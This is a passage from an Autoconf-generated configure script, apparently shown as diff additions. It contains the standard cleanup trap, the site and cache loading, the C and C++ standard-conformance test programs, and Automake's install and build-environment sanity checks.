$as_nl`(ac_space='\'' '\''; set) 2>&1` in #( + *${as_nl}ac_space=\ *) + sed -n \ + "s/'\''/'\''\\\\'\'''\''/g; + s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\''\\2'\''/p" + ;; #( + *) + sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p" + ;; + esac | + sort +) + echo + + printf "%s\n" "## ----------------- ## +## Output variables. ## +## ----------------- ##" + echo + for ac_var in $ac_subst_vars + do + eval ac_val=\$$ac_var + case $ac_val in + *\'\''*) ac_val=`printf "%s\n" "$ac_val" | sed "s/'\''/'\''\\\\\\\\'\'''\''/g"`;; + esac + printf "%s\n" "$ac_var='\''$ac_val'\''" + done | sort + echo + + if test -n "$ac_subst_files"; then + printf "%s\n" "## ------------------- ## +## File substitutions. ## +## ------------------- ##" + echo + for ac_var in $ac_subst_files + do + eval ac_val=\$$ac_var + case $ac_val in + *\'\''*) ac_val=`printf "%s\n" "$ac_val" | sed "s/'\''/'\''\\\\\\\\'\'''\''/g"`;; + esac + printf "%s\n" "$ac_var='\''$ac_val'\''" + done | sort + echo + fi + + if test -s confdefs.h; then + printf "%s\n" "## ----------- ## +## confdefs.h. ## +## ----------- ##" + echo + cat confdefs.h + echo + fi + test "$ac_signal" != 0 && + printf "%s\n" "$as_me: caught signal $ac_signal" + printf "%s\n" "$as_me: exit $exit_status" + } >&5 + rm -f core *.core core.conftest.* && + rm -f -r conftest* confdefs* conf$$* $ac_clean_files && + exit $exit_status +' 0 +for ac_signal in 1 2 13 15; do + trap 'ac_signal='$ac_signal'; as_fn_exit 1' $ac_signal +done +ac_signal=0 + +# confdefs.h avoids OS command line length limits that DEFS can exceed. +rm -f -r conftest* confdefs.h + +printf "%s\n" "/* confdefs.h */" > confdefs.h + +# Predefined preprocessor variables. + +printf "%s\n" "#define PACKAGE_NAME \"$PACKAGE_NAME\"" >>confdefs.h + +printf "%s\n" "#define PACKAGE_TARNAME \"$PACKAGE_TARNAME\"" >>confdefs.h + +printf "%s\n" "#define PACKAGE_VERSION \"$PACKAGE_VERSION\"" >>confdefs.h + +printf "%s\n" "#define PACKAGE_STRING \"$PACKAGE_STRING\"" >>confdefs.h + +printf "%s\n" "#define PACKAGE_BUGREPORT \"$PACKAGE_BUGREPORT\"" >>confdefs.h + +printf "%s\n" "#define PACKAGE_URL \"$PACKAGE_URL\"" >>confdefs.h + + +# Let the site file select an alternate cache file if it wants to. +# Prefer an explicitly selected file to automatically selected ones. +if test -n "$CONFIG_SITE"; then + ac_site_files="$CONFIG_SITE" +elif test "x$prefix" != xNONE; then + ac_site_files="$prefix/share/config.site $prefix/etc/config.site" +else + ac_site_files="$ac_default_prefix/share/config.site $ac_default_prefix/etc/config.site" +fi + +for ac_site_file in $ac_site_files +do + case $ac_site_file in #( + */*) : + ;; #( + *) : + ac_site_file=./$ac_site_file ;; +esac + if test -f "$ac_site_file" && test -r "$ac_site_file"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: loading site script $ac_site_file" >&5 +printf "%s\n" "$as_me: loading site script $ac_site_file" >&6;} + sed 's/^/| /' "$ac_site_file" >&5 + . "$ac_site_file" \ + || { { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 +printf "%s\n" "$as_me: error: in \`$ac_pwd':" >&2;} +as_fn_error $? "failed to load site script $ac_site_file +See \`config.log' for more details" "$LINENO" 5; } + fi +done + +if test -r "$cache_file"; then + # Some versions of bash will fail to source /dev/null (special files + # actually), so we avoid doing that. DJGPP emulates it as a regular file. + if test /dev/null != "$cache_file" && test -f "$cache_file"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: loading cache $cache_file" >&5 +printf "%s\n" "$as_me: loading cache $cache_file" >&6;} + case $cache_file in + [\\/]* | ?:[\\/]* ) . "$cache_file";; + *) . "./$cache_file";; + esac + fi +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: creating cache $cache_file" >&5 +printf "%s\n" "$as_me: creating cache $cache_file" >&6;} + >$cache_file +fi + +# Test code for whether the C++ compiler supports C++98 (global declarations) +ac_cxx_conftest_cxx98_globals=' +// Does the compiler advertise C++98 conformance? +#if !defined __cplusplus || __cplusplus < 199711L +# error "Compiler does not advertise C++98 conformance" +#endif + +// These inclusions are to reject old compilers that +// lack the unsuffixed header files. +#include +#include + +// and are *not* freestanding headers in C++98. +extern void assert (int); +namespace std { + extern int strcmp (const char *, const char *); +} + +// Namespaces, exceptions, and templates were all added after "C++ 2.0". +using std::exception; +using std::strcmp; + +namespace { + +void test_exception_syntax() +{ + try { + throw "test"; + } catch (const char *s) { + // Extra parentheses suppress a warning when building autoconf itself, + // due to lint rules shared with more typical C programs. + assert (!(strcmp) (s, "test")); + } +} + +template struct test_template +{ + T const val; + explicit test_template(T t) : val(t) {} + template T add(U u) { return static_cast(u) + val; } +}; + +} // anonymous namespace +' + +# Test code for whether the C++ compiler supports C++98 (body of main) +ac_cxx_conftest_cxx98_main=' + assert (argc); + assert (! argv[0]); +{ + test_exception_syntax (); + test_template tt (2.0); + assert (tt.add (4) == 6.0); + assert (true && !false); +} +' + +# Test code for whether the C++ compiler supports C++11 (global declarations) +ac_cxx_conftest_cxx11_globals=' +// Does the compiler advertise C++ 2011 conformance? +#if !defined __cplusplus || __cplusplus < 201103L +# error "Compiler does not advertise C++11 conformance" +#endif + +namespace cxx11test +{ + constexpr int get_val() { return 20; } + + struct testinit + { + int i; + double d; + }; + + class delegate + { + public: + delegate(int n) : n(n) {} + delegate(): delegate(2354) {} + + virtual int getval() { return this->n; }; + protected: + int n; + }; + + class overridden : public delegate + { + public: + overridden(int n): delegate(n) {} + virtual int getval() override final { return this->n * 2; } + }; + + class nocopy + { + public: + nocopy(int i): i(i) {} + nocopy() = default; + nocopy(const nocopy&) = delete; + nocopy & operator=(const nocopy&) = delete; + private: + int i; + }; + + // for testing lambda expressions + template Ret eval(Fn f, Ret v) + { + return f(v); + } + + // for testing variadic templates and trailing return types + template auto sum(V first) -> V + { + return first; + } + template auto sum(V first, Args... rest) -> V + { + return first + sum(rest...); + } +} +' + +# Test code for whether the C++ compiler supports C++11 (body of main) +ac_cxx_conftest_cxx11_main=' +{ + // Test auto and decltype + auto a1 = 6538; + auto a2 = 48573953.4; + auto a3 = "String literal"; + + int total = 0; + for (auto i = a3; *i; ++i) { total += *i; } + + decltype(a2) a4 = 34895.034; +} +{ + // Test constexpr + short sa[cxx11test::get_val()] = { 0 }; +} +{ + // Test initializer lists + cxx11test::testinit il = { 4323, 435234.23544 }; +} +{ + // Test range-based for + int array[] = {9, 7, 13, 15, 4, 18, 12, 10, 5, 3, + 14, 19, 17, 8, 6, 20, 16, 2, 11, 1}; + for (auto &x : array) { x += 23; } +} +{ + // Test lambda expressions + using cxx11test::eval; + assert (eval ([](int x) { return x*2; }, 21) == 42); + double d = 2.0; + assert (eval ([&](double x) { return d += x; }, 3.0) == 5.0); + assert (d == 5.0); + assert (eval ([=](double x) mutable { return d += x; }, 4.0) == 9.0); + assert (d == 5.0); +} +{ + // Test use of variadic templates + using cxx11test::sum; + auto a = sum(1); + auto b = sum(1, 2); + auto c = sum(1.0, 2.0, 3.0); +} +{ + // Test constructor delegation + cxx11test::delegate d1; + cxx11test::delegate d2(); + cxx11test::delegate d3(45); +} +{ + // Test override and final + cxx11test::overridden o1(55464); +} +{ + // Test nullptr + char *c = nullptr; +} +{ + // Test template brackets + test_template<::test_template> v(test_template(12)); +} +{ + // Unicode literals + char const *utf8 = u8"UTF-8 string \u2500"; + char16_t const *utf16 = u"UTF-8 string \u2500"; + char32_t const *utf32 = U"UTF-32 string \u2500"; +} +' + +# Test code for whether the C compiler supports C++11 (complete). +ac_cxx_conftest_cxx11_program="${ac_cxx_conftest_cxx98_globals} +${ac_cxx_conftest_cxx11_globals} + +int +main (int argc, char **argv) +{ + int ok = 0; + ${ac_cxx_conftest_cxx98_main} + ${ac_cxx_conftest_cxx11_main} + return ok; +} +" + +# Test code for whether the C compiler supports C++98 (complete). +ac_cxx_conftest_cxx98_program="${ac_cxx_conftest_cxx98_globals} +int +main (int argc, char **argv) +{ + int ok = 0; + ${ac_cxx_conftest_cxx98_main} + return ok; +} +" + +# Test code for whether the C compiler supports C89 (global declarations) +ac_c_conftest_c89_globals=' +/* Does the compiler advertise C89 conformance? + Do not test the value of __STDC__, because some compilers set it to 0 + while being otherwise adequately conformant. */ +#if !defined __STDC__ +# error "Compiler does not advertise C89 conformance" +#endif + +#include +#include +struct stat; +/* Most of the following tests are stolen from RCS 5.7 src/conf.sh. */ +struct buf { int x; }; +struct buf * (*rcsopen) (struct buf *, struct stat *, int); +static char *e (p, i) + char **p; + int i; +{ + return p[i]; +} +static char *f (char * (*g) (char **, int), char **p, ...) +{ + char *s; + va_list v; + va_start (v,p); + s = g (p, va_arg (v,int)); + va_end (v); + return s; +} + +/* OSF 4.0 Compaq cc is some sort of almost-ANSI by default. It has + function prototypes and stuff, but not \xHH hex character constants. + These do not provoke an error unfortunately, instead are silently treated + as an "x". The following induces an error, until -std is added to get + proper ANSI mode. Curiously \x00 != x always comes out true, for an + array size at least. It is necessary to write \x00 == 0 to get something + that is true only with -std. */ +int osf4_cc_array ['\''\x00'\'' == 0 ? 1 : -1]; + +/* IBM C 6 for AIX is almost-ANSI by default, but it replaces macro parameters + inside strings and character constants. */ +#define FOO(x) '\''x'\'' +int xlc6_cc_array[FOO(a) == '\''x'\'' ? 1 : -1]; + +int test (int i, double x); +struct s1 {int (*f) (int a);}; +struct s2 {int (*f) (double a);}; +int pairnames (int, char **, int *(*)(struct buf *, struct stat *, int), + int, int);' + +# Test code for whether the C compiler supports C89 (body of main). +ac_c_conftest_c89_main=' +ok |= (argc == 0 || f (e, argv, 0) != argv[0] || f (e, argv, 1) != argv[1]); +' + +# Test code for whether the C compiler supports C99 (global declarations) +ac_c_conftest_c99_globals=' +// Does the compiler advertise C99 conformance? +#if !defined __STDC_VERSION__ || __STDC_VERSION__ < 199901L +# error "Compiler does not advertise C99 conformance" +#endif + +#include +extern int puts (const char *); +extern int printf (const char *, ...); +extern int dprintf (int, const char *, ...); +extern void *malloc (size_t); + +// Check varargs macros. These examples are taken from C99 6.10.3.5. +// dprintf is used instead of fprintf to avoid needing to declare +// FILE and stderr. +#define debug(...) dprintf (2, __VA_ARGS__) +#define showlist(...) puts (#__VA_ARGS__) +#define report(test,...) ((test) ? puts (#test) : printf (__VA_ARGS__)) +static void +test_varargs_macros (void) +{ + int x = 1234; + int y = 5678; + debug ("Flag"); + debug ("X = %d\n", x); + showlist (The first, second, and third items.); + report (x>y, "x is %d but y is %d", x, y); +} + +// Check long long types. +#define BIG64 18446744073709551615ull +#define BIG32 4294967295ul +#define BIG_OK (BIG64 / BIG32 == 4294967297ull && BIG64 % BIG32 == 0) +#if !BIG_OK + #error "your preprocessor is broken" +#endif +#if BIG_OK +#else + #error "your preprocessor is broken" +#endif +static long long int bignum = -9223372036854775807LL; +static unsigned long long int ubignum = BIG64; + +struct incomplete_array +{ + int datasize; + double data[]; +}; + +struct named_init { + int number; + const wchar_t *name; + double average; +}; + +typedef const char *ccp; + +static inline int +test_restrict (ccp restrict text) +{ + // See if C++-style comments work. + // Iterate through items via the restricted pointer. + // Also check for declarations in for loops. + for (unsigned int i = 0; *(text+i) != '\''\0'\''; ++i) + continue; + return 0; +} + +// Check varargs and va_copy. +static bool +test_varargs (const char *format, ...) +{ + va_list args; + va_start (args, format); + va_list args_copy; + va_copy (args_copy, args); + + const char *str = ""; + int number = 0; + float fnumber = 0; + + while (*format) + { + switch (*format++) + { + case '\''s'\'': // string + str = va_arg (args_copy, const char *); + break; + case '\''d'\'': // int + number = va_arg (args_copy, int); + break; + case '\''f'\'': // float + fnumber = va_arg (args_copy, double); + break; + default: + break; + } + } + va_end (args_copy); + va_end (args); + + return *str && number && fnumber; +} +' + +# Test code for whether the C compiler supports C99 (body of main). +ac_c_conftest_c99_main=' + // Check bool. + _Bool success = false; + success |= (argc != 0); + + // Check restrict. + if (test_restrict ("String literal") == 0) + success = true; + char *restrict newvar = "Another string"; + + // Check varargs. + success &= test_varargs ("s, d'\'' f .", "string", 65, 34.234); + test_varargs_macros (); + + // Check flexible array members. + struct incomplete_array *ia = + malloc (sizeof (struct incomplete_array) + (sizeof (double) * 10)); + ia->datasize = 10; + for (int i = 0; i < ia->datasize; ++i) + ia->data[i] = i * 1.234; + + // Check named initializers. + struct named_init ni = { + .number = 34, + .name = L"Test wide string", + .average = 543.34343, + }; + + ni.number = 58; + + int dynamic_array[ni.number]; + dynamic_array[0] = argv[0][0]; + dynamic_array[ni.number - 1] = 543; + + // work around unused variable warnings + ok |= (!success || bignum == 0LL || ubignum == 0uLL || newvar[0] == '\''x'\'' + || dynamic_array[ni.number - 1] != 543); +' + +# Test code for whether the C compiler supports C11 (global declarations) +ac_c_conftest_c11_globals=' +// Does the compiler advertise C11 conformance? +#if !defined __STDC_VERSION__ || __STDC_VERSION__ < 201112L +# error "Compiler does not advertise C11 conformance" +#endif + +// Check _Alignas. +char _Alignas (double) aligned_as_double; +char _Alignas (0) no_special_alignment; +extern char aligned_as_int; +char _Alignas (0) _Alignas (int) aligned_as_int; + +// Check _Alignof. +enum +{ + int_alignment = _Alignof (int), + int_array_alignment = _Alignof (int[100]), + char_alignment = _Alignof (char) +}; +_Static_assert (0 < -_Alignof (int), "_Alignof is signed"); + +// Check _Noreturn. +int _Noreturn does_not_return (void) { for (;;) continue; } + +// Check _Static_assert. +struct test_static_assert +{ + int x; + _Static_assert (sizeof (int) <= sizeof (long int), + "_Static_assert does not work in struct"); + long int y; +}; + +// Check UTF-8 literals. +#define u8 syntax error! +char const utf8_literal[] = u8"happens to be ASCII" "another string"; + +// Check duplicate typedefs. +typedef long *long_ptr; +typedef long int *long_ptr; +typedef long_ptr long_ptr; + +// Anonymous structures and unions -- taken from C11 6.7.2.1 Example 1. +struct anonymous +{ + union { + struct { int i; int j; }; + struct { int k; long int l; } w; + }; + int m; +} v1; +' + +# Test code for whether the C compiler supports C11 (body of main). +ac_c_conftest_c11_main=' + _Static_assert ((offsetof (struct anonymous, i) + == offsetof (struct anonymous, w.k)), + "Anonymous union alignment botch"); + v1.i = 2; + v1.w.k = 5; + ok |= v1.i != 5; +' + +# Test code for whether the C compiler supports C11 (complete). +ac_c_conftest_c11_program="${ac_c_conftest_c89_globals} +${ac_c_conftest_c99_globals} +${ac_c_conftest_c11_globals} + +int +main (int argc, char **argv) +{ + int ok = 0; + ${ac_c_conftest_c89_main} + ${ac_c_conftest_c99_main} + ${ac_c_conftest_c11_main} + return ok; +} +" + +# Test code for whether the C compiler supports C99 (complete). +ac_c_conftest_c99_program="${ac_c_conftest_c89_globals} +${ac_c_conftest_c99_globals} + +int +main (int argc, char **argv) +{ + int ok = 0; + ${ac_c_conftest_c89_main} + ${ac_c_conftest_c99_main} + return ok; +} +" + +# Test code for whether the C compiler supports C89 (complete). +ac_c_conftest_c89_program="${ac_c_conftest_c89_globals} + +int +main (int argc, char **argv) +{ + int ok = 0; + ${ac_c_conftest_c89_main} + return ok; +} +" + +as_fn_append ac_header_c_list " stdio.h stdio_h HAVE_STDIO_H" +as_fn_append ac_header_c_list " stdlib.h stdlib_h HAVE_STDLIB_H" +as_fn_append ac_header_c_list " string.h string_h HAVE_STRING_H" +as_fn_append ac_header_c_list " inttypes.h inttypes_h HAVE_INTTYPES_H" +as_fn_append ac_header_c_list " stdint.h stdint_h HAVE_STDINT_H" +as_fn_append ac_header_c_list " strings.h strings_h HAVE_STRINGS_H" +as_fn_append ac_header_c_list " sys/stat.h sys_stat_h HAVE_SYS_STAT_H" +as_fn_append ac_header_c_list " sys/types.h sys_types_h HAVE_SYS_TYPES_H" +as_fn_append ac_header_c_list " unistd.h unistd_h HAVE_UNISTD_H" + +# Auxiliary files required by this configure script. +ac_aux_files="compile missing install-sh" + +# Locations in which to look for auxiliary files. +ac_aux_dir_candidates="${srcdir}/build-aux" + +# Search for a directory containing all of the required auxiliary files, +# $ac_aux_files, from the $PATH-style list $ac_aux_dir_candidates. +# If we don't find one directory that contains all the files we need, +# we report the set of missing files from the *first* directory in +# $ac_aux_dir_candidates and give up. +ac_missing_aux_files="" +ac_first_candidate=: +printf "%s\n" "$as_me:${as_lineno-$LINENO}: looking for aux files: $ac_aux_files" >&5 +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +as_found=false +for as_dir in $ac_aux_dir_candidates +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + as_found=: + + printf "%s\n" "$as_me:${as_lineno-$LINENO}: trying $as_dir" >&5 + ac_aux_dir_found=yes + ac_install_sh= + for ac_aux in $ac_aux_files + do + # As a special case, if "install-sh" is required, that requirement + # can be satisfied by any of "install-sh", "install.sh", or "shtool", + # and $ac_install_sh is set appropriately for whichever one is found. + if test x"$ac_aux" = x"install-sh" + then + if test -f "${as_dir}install-sh"; then + printf "%s\n" "$as_me:${as_lineno-$LINENO}: ${as_dir}install-sh found" >&5 + ac_install_sh="${as_dir}install-sh -c" + elif test -f "${as_dir}install.sh"; then + printf "%s\n" "$as_me:${as_lineno-$LINENO}: ${as_dir}install.sh found" >&5 + ac_install_sh="${as_dir}install.sh -c" + elif test -f "${as_dir}shtool"; then + printf "%s\n" "$as_me:${as_lineno-$LINENO}: ${as_dir}shtool found" >&5 + ac_install_sh="${as_dir}shtool install -c" + else + ac_aux_dir_found=no + if $ac_first_candidate; then + ac_missing_aux_files="${ac_missing_aux_files} install-sh" + else + break + fi + fi + else + if test -f "${as_dir}${ac_aux}"; then + printf "%s\n" "$as_me:${as_lineno-$LINENO}: ${as_dir}${ac_aux} found" >&5 + else + ac_aux_dir_found=no + if $ac_first_candidate; then + ac_missing_aux_files="${ac_missing_aux_files} ${ac_aux}" + else + break + fi + fi + fi + done + if test "$ac_aux_dir_found" = yes; then + ac_aux_dir="$as_dir" + break + fi + ac_first_candidate=false + + as_found=false +done +IFS=$as_save_IFS +if $as_found +then : + +else $as_nop + as_fn_error $? "cannot find required auxiliary files:$ac_missing_aux_files" "$LINENO" 5 +fi + + +# These three variables are undocumented and unsupported, +# and are intended to be withdrawn in a future Autoconf release. +# They can cause serious problems if a builder's source tree is in a directory +# whose full name contains unusual characters. +if test -f "${ac_aux_dir}config.guess"; then + ac_config_guess="$SHELL ${ac_aux_dir}config.guess" +fi +if test -f "${ac_aux_dir}config.sub"; then + ac_config_sub="$SHELL ${ac_aux_dir}config.sub" +fi +if test -f "$ac_aux_dir/configure"; then + ac_configure="$SHELL ${ac_aux_dir}configure" +fi + +# Check that the precious variables saved in the cache have kept the same +# value. +ac_cache_corrupted=false +for ac_var in $ac_precious_vars; do + eval ac_old_set=\$ac_cv_env_${ac_var}_set + eval ac_new_set=\$ac_env_${ac_var}_set + eval ac_old_val=\$ac_cv_env_${ac_var}_value + eval ac_new_val=\$ac_env_${ac_var}_value + case $ac_old_set,$ac_new_set in + set,) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&5 +printf "%s\n" "$as_me: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&2;} + ac_cache_corrupted=: ;; + ,set) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: \`$ac_var' was not set in the previous run" >&5 +printf "%s\n" "$as_me: error: \`$ac_var' was not set in the previous run" >&2;} + ac_cache_corrupted=: ;; + ,);; + *) + if test "x$ac_old_val" != "x$ac_new_val"; then + # differences in whitespace do not lead to failure. + ac_old_val_w=`echo x $ac_old_val` + ac_new_val_w=`echo x $ac_new_val` + if test "$ac_old_val_w" != "$ac_new_val_w"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: \`$ac_var' has changed since the previous run:" >&5 +printf "%s\n" "$as_me: error: \`$ac_var' has changed since the previous run:" >&2;} + ac_cache_corrupted=: + else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: warning: ignoring whitespace changes in \`$ac_var' since the previous run:" >&5 +printf "%s\n" "$as_me: warning: ignoring whitespace changes in \`$ac_var' since the previous run:" >&2;} + eval $ac_var=\$ac_old_val + fi + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: former value: \`$ac_old_val'" >&5 +printf "%s\n" "$as_me: former value: \`$ac_old_val'" >&2;} + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: current value: \`$ac_new_val'" >&5 +printf "%s\n" "$as_me: current value: \`$ac_new_val'" >&2;} + fi;; + esac + # Pass precious variables to config.status. + if test "$ac_new_set" = set; then + case $ac_new_val in + *\'*) ac_arg=$ac_var=`printf "%s\n" "$ac_new_val" | sed "s/'/'\\\\\\\\''/g"` ;; + *) ac_arg=$ac_var=$ac_new_val ;; + esac + case " $ac_configure_args " in + *" '$ac_arg' "*) ;; # Avoid dups. Use of quotes ensures accuracy. + *) as_fn_append ac_configure_args " '$ac_arg'" ;; + esac + fi +done +if $ac_cache_corrupted; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 +printf "%s\n" "$as_me: error: in \`$ac_pwd':" >&2;} + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: changes in the environment can compromise the build" >&5 +printf "%s\n" "$as_me: error: changes in the environment can compromise the build" >&2;} + as_fn_error $? "run \`${MAKE-make} distclean' and/or \`rm $cache_file' + and start over" "$LINENO" 5 +fi +## -------------------- ## +## Main body of script. ## +## -------------------- ## + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + + + +ac_config_headers="$ac_config_headers config.h" + + + + + +if test "`uname -s`" = "NetBSD"; then + if true; then + NETBSD_TRUE= + NETBSD_FALSE='#' +else + NETBSD_TRUE='#' + NETBSD_FALSE= +fi + + CFLAGS="-I/usr/pkg/include -L/usr/pkg/lib -Wl,-R/usr/pkg/lib" +else + if false; then + NETBSD_TRUE= + NETBSD_FALSE='#' +else + NETBSD_TRUE='#' + NETBSD_FALSE= +fi + +fi + +am__api_version='1.16' + + + + # Find a good install program. We prefer a C program (faster), +# so one script is as good as another. But avoid the broken or +# incompatible versions: +# SysV /etc/install, /usr/sbin/install +# SunOS /usr/etc/install +# IRIX /sbin/install +# AIX /bin/install +# AmigaOS /C/install, which installs bootblocks on floppy discs +# AIX 4 /usr/bin/installbsd, which doesn't work without a -g flag +# AFS /usr/afsws/bin/install, which mishandles nonexistent args +# SVR4 /usr/ucb/install, which tries to use the nonexistent group "staff" +# OS/2's system install, which has a completely different semantic +# ./install, which can be erroneously created by make from ./install.sh. +# Reject install programs that cannot install multiple files. +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for a BSD-compatible install" >&5 +printf %s "checking for a BSD-compatible install... " >&6; } +if test -z "$INSTALL"; then +if test ${ac_cv_path_install+y} +then : + printf %s "(cached) " >&6 +else $as_nop + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + # Account for fact that we put trailing slashes in our PATH walk. +case $as_dir in #(( + ./ | /[cC]/* | \ + /etc/* | /usr/sbin/* | /usr/etc/* | /sbin/* | /usr/afsws/bin/* | \ + ?:[\\/]os2[\\/]install[\\/]* | ?:[\\/]OS2[\\/]INSTALL[\\/]* | \ + /usr/ucb/* ) ;; + *) + # OSF1 and SCO ODT 3.0 have their own names for install. + # Don't use installbsd from OSF since it installs stuff as root + # by default. + for ac_prog in ginstall scoinst install; do + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_prog$ac_exec_ext"; then + if test $ac_prog = install && + grep dspmsg "$as_dir$ac_prog$ac_exec_ext" >/dev/null 2>&1; then + # AIX install. It has an incompatible calling convention. + : + elif test $ac_prog = install && + grep pwplus "$as_dir$ac_prog$ac_exec_ext" >/dev/null 2>&1; then + # program-specific install script used by HP pwplus--don't use. + : + else + rm -rf conftest.one conftest.two conftest.dir + echo one > conftest.one + echo two > conftest.two + mkdir conftest.dir + if "$as_dir$ac_prog$ac_exec_ext" -c conftest.one conftest.two "`pwd`/conftest.dir/" && + test -s conftest.one && test -s conftest.two && + test -s conftest.dir/conftest.one && + test -s conftest.dir/conftest.two + then + ac_cv_path_install="$as_dir$ac_prog$ac_exec_ext -c" + break 3 + fi + fi + fi + done + done + ;; +esac + + done +IFS=$as_save_IFS + +rm -rf conftest.one conftest.two conftest.dir + +fi + if test ${ac_cv_path_install+y}; then + INSTALL=$ac_cv_path_install + else + # As a last resort, use the slow shell script. Don't cache a + # value for INSTALL within a source directory, because that will + # break other packages using the cache if that directory is + # removed, or if the value is a relative name. + INSTALL=$ac_install_sh + fi +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $INSTALL" >&5 +printf "%s\n" "$INSTALL" >&6; } + +# Use test -z because SunOS4 sh mishandles braces in ${var-val}. +# It thinks the first close brace ends the variable substitution. +test -z "$INSTALL_PROGRAM" && INSTALL_PROGRAM='${INSTALL}' + +test -z "$INSTALL_SCRIPT" && INSTALL_SCRIPT='${INSTALL}' + +test -z "$INSTALL_DATA" && INSTALL_DATA='${INSTALL} -m 644' + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether build environment is sane" >&5 +printf %s "checking whether build environment is sane... " >&6; } +# Reject unsafe characters in $srcdir or the absolute working directory +# name. Accept space and tab only in the latter. +am_lf=' +' +case `pwd` in + *[\\\"\#\$\&\'\`$am_lf]*) + as_fn_error $? "unsafe absolute working directory name" "$LINENO" 5;; +esac +case $srcdir in + *[\\\"\#\$\&\'\`$am_lf\ \ ]*) + as_fn_error $? "unsafe srcdir value: '$srcdir'" "$LINENO" 5;; +esac + +# Do 'set' in a subshell so we don't clobber the current shell's +# arguments. Must try -L first in case configure is actually a +# symlink; some systems play weird games with the mod time of symlinks +# (eg FreeBSD returns the mod time of the symlink's containing +# directory). +if ( + am_has_slept=no + for am_try in 1 2; do + echo "timestamp, slept: $am_has_slept" > conftest.file + set X `ls -Lt "$srcdir/configure" conftest.file 2> /dev/null` + if test "$*" = "X"; then + # -L didn't work. + set X `ls -t "$srcdir/configure" conftest.file` + fi + if test "$*" != "X $srcdir/configure conftest.file" \ + && test "$*" != "X conftest.file $srcdir/configure"; then + + # If neither matched, then we have a broken ls. This can happen + # if, for instance, CONFIG_SHELL is bash and it inherits a + # broken ls alias from the environment. This has actually + # happened. Such a system could not be considered "sane". + as_fn_error $? "ls -t appears to fail. Make sure there is not a broken + alias in your environment" "$LINENO" 5 + fi + if test "$2" = conftest.file || test $am_try -eq 2; then + break + fi + # Just in case. + sleep 1 + am_has_slept=yes + done + test "$2" = conftest.file + ) +then + # Ok. + : +else + as_fn_error $? "newly created file is older than distributed files! +Check your system clock" "$LINENO" 5 +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: yes" >&5 +printf "%s\n" "yes" >&6; } +# If we didn't sleep, we still need to ensure time stamps of config.status and +# generated files are strictly newer. +am_sleep_pid= +if grep 'slept: no' conftest.file >/dev/null 2>&1; then + ( sleep 1 ) & + am_sleep_pid=$! +fi + +rm -f conftest.file + +test "$program_prefix" != NONE && + program_transform_name="s&^&$program_prefix&;$program_transform_name" +# Use a double $ so make ignores it. +test "$program_suffix" != NONE && + program_transform_name="s&\$&$program_suffix&;$program_transform_name" +# Double any \ or $. +# By default was `s,x,x', remove it if useless. +ac_script='s/[\\$]/&&/g;s/;s,x,x,$//' +program_transform_name=`printf "%s\n" "$program_transform_name" | sed "$ac_script"` + + +# Expand $ac_aux_dir to an absolute path. +am_aux_dir=`cd "$ac_aux_dir" && pwd` + + + if test x"${MISSING+set}" != xset; then + MISSING="\${SHELL} '$am_aux_dir/missing'" +fi +# Use eval to expand $SHELL +if eval "$MISSING --is-lightweight"; then + am_missing_run="$MISSING " +else + am_missing_run= + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: 'missing' script is too old or missing" >&5 +printf "%s\n" "$as_me: WARNING: 'missing' script is too old or missing" >&2;} +fi + +if test x"${install_sh+set}" != xset; then + case $am_aux_dir in + *\ * | *\ *) + install_sh="\${SHELL} '$am_aux_dir/install-sh'" ;; + *) + install_sh="\${SHELL} $am_aux_dir/install-sh" + esac +fi + +# Installed binaries are usually stripped using 'strip' when the user +# run "make install-strip". However 'strip' might not be the right +# tool to use in cross-compilation environments, therefore Automake +# will honor the 'STRIP' environment variable to overrule this program. +if test "$cross_compiling" != no; then + if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args. +set dummy ${ac_tool_prefix}strip; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_STRIP+y} +then : + printf %s "(cached) " >&6 +else $as_nop + if test -n "$STRIP"; then + ac_cv_prog_STRIP="$STRIP" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + 